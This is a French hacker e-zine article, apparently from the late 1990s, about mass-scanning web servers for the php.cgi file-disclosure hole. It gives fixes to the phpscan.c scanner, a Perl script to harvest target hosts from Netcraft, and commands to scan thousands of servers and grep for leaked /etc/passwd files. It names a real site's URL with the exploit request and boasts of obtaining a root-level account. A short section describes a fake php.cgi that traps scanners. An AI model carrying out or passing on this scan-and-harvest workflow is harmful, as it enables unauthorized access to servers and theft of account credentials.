
cron.daily ...
Checking time table ..
Organiks fin juillet ...
Checking date : 26 Juillet
Warning !!!

Enabling Alarm clock ...

Hein ?!? Quoi ? Oh merde ... 

#############################################################################
# PHP,CGI,C,Socket ...                                                      #
#############################################################################

Afin de ne pas te faire perdre ton temps , voici un petit questionnaire
avant de consulter cet article :

-Tu n'as pas Linux
Passe ton chemin ...

-Tu ne sais pas te connecter au net avec linux
Consulte l'article sur la connexion internet ...

-Tu es deja une super elite de la mort qui tue et tu es au dessus du php ...
Perds pas ton temps a lire ce cyber-papier-cul

                    =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Bon, le php, c'est un truc assez vieux, qui ne marche plus tellement ... mais
j'aime quand meme bcp ce petit truc ...

Au debut,je m'en servais plutot dans le genre, tiens essayons ce site ..
url:http://www.truc.com/cgi-bin/php.cgi?/etc/passwd ... C'est bien ...
j'en regardais peut etre 2 ou 3 par minute;c'etait bien long ,bien chiant ..

J'ai d'abord commmence a chercher des cibles sur netcraft ... je regardais
le nom du serveur dans un browser, dans l'autre, je regardais s'il y avait le
php ... Mouais ... Methode rudimentaire ....

J'ai trouve un petit truc marant sur rootshell : phpscan.c ... bon, il y a
une erreur au niveau de la requete HTTP .. Du coup, je copiais collais
des pages entieres de netcraft .. Petit pbm ... les pages de netcraft ont ce
format:
       1      www.abc.com   [What this site contains]
       2      www.abd.com   [What this site contains]
       ....

Bon .. Retoucher les pages avec vi, c'est pas que ca me gavait .. hum ...
mais a vrai dire, si , et meme enormement ..

Puis en plus, je comprenais pas pourquoi peridodiquement phpscan le renvoyait
une segmentation fault ...

Bon ... du coup, je me suis mis au perl ... et un petit script en 4 lignes
me permet d'obtenir d'un fichier de lignes: 
       1      www.abc.com   [What this site contains]
       2      www.abd.com   [What this site contains]
un nouveau fichier :
www.abc.com
www.abd.com
...

Bon .. je vois tout de suite les gros sceptiques .. Heu, y en a pas bcp quand
meme de serveur avec un php buggu .. C'est vrai, d'ou l'interet du traitement
en masse .. ( Et paf, 2000 serveur scanne sans lever le petit doigt ..)

Par ailleurs le sceptique rappelera que les passwd sont shadowed de nos jours

C'est vrai aussi ... mais on oublie que sur un serveur ... plus il y a d'users
plus les mots de passe sont triviaux ... style login robert, pass ..humm ..
robert ?

Bon .. y a quand meme une chose, toujours rester dubitatif quant au fichier passwd
obtenu .. surtout lorsqu'il n'est pas shadowed ... Imaginons un admin vicieux ..
Rien ne l'empeche de realiser un faux fichier php qui renverrait un faux
fichier passwd ... comment le verifier .. ? En emettant une requete sur un autre
fichier dont tout le monde se fout comme /etc/inetd.conf ou qqch comme ca ..
Et si le php vous balance autre chose que ce fichier, lachez l'affaire ...

Certains diront .. Pfff .. t'es un couillon, y a mieux que le php ..C'est un truc
de nul ca .. Probablement ... mais les trucs de nuls .Ca sert quand meme aussi
Je ne vanterais pas les merites de BO ... mais un pote a moi possede un serveur
BO place je sais pas trop ou .. mais il a l'art de nous recuperer des infos
asse ioncroyables .. (l/p d'acces a des sites professionnels, si si ..)

Bon .. Apres la presentation de tout ceci .. le codage meme de ces petits outils ...
Je ne ferais pas une presentation totale du perl ou de la prog de socket car
sur le premier, un bon bouquin sera plus efficace que moi (puis j'ai pas envie
de copier coller le bouquin dans cet article .. Consulter Introduction a Perl
et programmation CGI aux editions O'Reilley ) quant aux sockets ..il y a un art
dans linux-sa et dans noroute(je sais plus quel no) ...

Programme phpscan.c .. Telechargez le sur rootshell pour voir l'original ..

Les modifications apportees :
La requete HTTP etait incorrect : C'etait GET cgi-bin/php.cgi?/etc/passwd
Il faut en fait mettre GET /cgi-bin/php.cgi?/etc/passwd

Pourquoi y a t'il une segmentation fault sur certains hosts ... ?
En fait .. on trouve he=gethostbyname(host) mais il n'y a pas de verif que le serveur
soit bien attribue ... il faut donc rajouter juste apres une verification
qui permettra de passer les hotes qui n'existe plus
if(he==NULL) continue ; 

Recuperations des pages sur netcraft .. Perso, j'y vais avec lynx ...
je copie toute une liste d'host dans un fichier en copiant collant .. (je
pense que vous avez tous gpm)

Realisation du script en perl ... :

------------- Cut ----------- Cut ----------- Cut --------------
#!/usr/bin/perl
# 
# ncext by Seb ... Only for illegal use ;)
#
while(defined($line=<STDIN>))
{
@tb=split(/\s+/,$line);
print "@tb[2]\n";
}
------------- Cut ----------- Cut ----------- Cut --------------

[ Pour les neuneus, faut le mettre en droit d'execution : chmod a+x script ]

Bon #!/usr/bin/perl indique le shell utilis .. ici, l'interpreteur perl

defined() verifie si la variable est undef ou autre chose ...
si c'est undef, defined() renvoit false, sinon true ...

$line=<STDIN> lit une chaine a partir de l'entree standart et la stocke dans
la variable $lineDonc .. la boucle while se pousuit tant qu'il y a des donnees
a traiter dans le flux d'entree standart

@tb est une variable de type tableau ( alors que $line est scalaire .. )

split permet de decouper une chaine en champ separes par un caractere specifie :

Exemple:

$pass="root:*:0:0:Charly Root:/root:/bin/sh"
@pf=split(/:/,$pass)

@pf[0] contient root
@pf[1] contient *
@pf[2] ...      0
...
@pf[6] contient /bin/sh

Le delimiteur employe ici est ':'   or dans notre fichier issu de netcraft, c'est une
suite d'espace qui separe les differents champs ...
dans split .. \s designe un espace .. et \s+ designe une suite d'espace ...

$ch="     1    www.server.com    [what this site contains]"
@truc=split(/\s+/,$ch);

@truc[0] ne contient rien
@truc[1] contient 1
@truc[2] contient www.server.com soit ce qui nous interesse ..

Bon, pour utiliser le script ...
Vous avez votre fichier netcraft.bordel qui contient le copier coller provenant
de netcraft ...
vous faites donc :
./ncext <netcraft.bordel >netcraft.ok

Bon .. maintenant .. comment utiliser phpscan ...

./phpscan<netcraft.ok>netcraft.ok.scan &

Ca vous permet de le lancer rapidement en arriere plan en redirigeant les reponses
des serveurs vers le fichier netcraft.ok.scan
Et pour verifier pendant que phpscan tourne s'il a trouve qqch sans visualiser
tout le fichier .. une simple commande suffit :

[root@localhost /]# grep root: netcraft.ok.scan
[root@localhost /]# 

Il n'y a rien ...

[root@localhost /]# grep root: netcraft.ok.scan
netcraft.ok.scan : root:x:0:0:Admin Sysop:/root:/bin/tcsh
[root@localhost /]# 

Il y a qqch ;)

Revenons a notre admin vicieux ...
Hum .. maintenant ... supposons que nous soyons admin ... Comment faire perdre
son temps a un petit fouille merde ?
Via un faux php bien sur ... Demonstration :

copiez le script php.cgi fourni dans votre rep /home/httpd/cgi-bin
mettez le en execution
Creez le fichier /etc/phplog avec comme owner nobody
[root@localhost /]# echo 127.0.0.1>test
[root@localhost /]# ./phpscan<test
127.0.0.1
Et un faux fichier passwd s'affiche ...
[root@localhost /]# cat /etc/phplog
Access from 127.0.0.1 / to /etc/passwd

Marrant non ... Vous vous dites que ..

1 : non, je raconte n'importe quoi, le php c'est de la connerie ...

J'ai recupere un passwd non shadowed comme ca, avec un pass pour un account uid 0
 Vive l'espagne ;)

2 : Un sysop n'est pas assez batard pour mettre un faux php ...

Demonstartion :
http://www.commonsensedrugpolicy.org/cgi-bin/php.cgi?/etc/passwd
Ouais .. un fichier passwd non shadowed ...
http://www.commonsensedrugpolicy.org/cgi-scan/php.cgi?/etc/hosts
Humm .. voyez par vous meme ...

Et ou qu'on peut trouver plein de php tu me diras .. ?
Un indice pour nos telespectateurs s'affiche en bas de votre tele:
le mont fuji ...

Je suis une petite ile... grande puissance economique ...
Situe pres d'une zone de subduction,mon drapeau est orne d'un soleil levant ...
Je suis, je suis ,je suis ... [[[[[ TV OFF ]]]]]

EOF
#############################################################################

[Seb@localhost /]$ shutdown -r now
Permission denied 
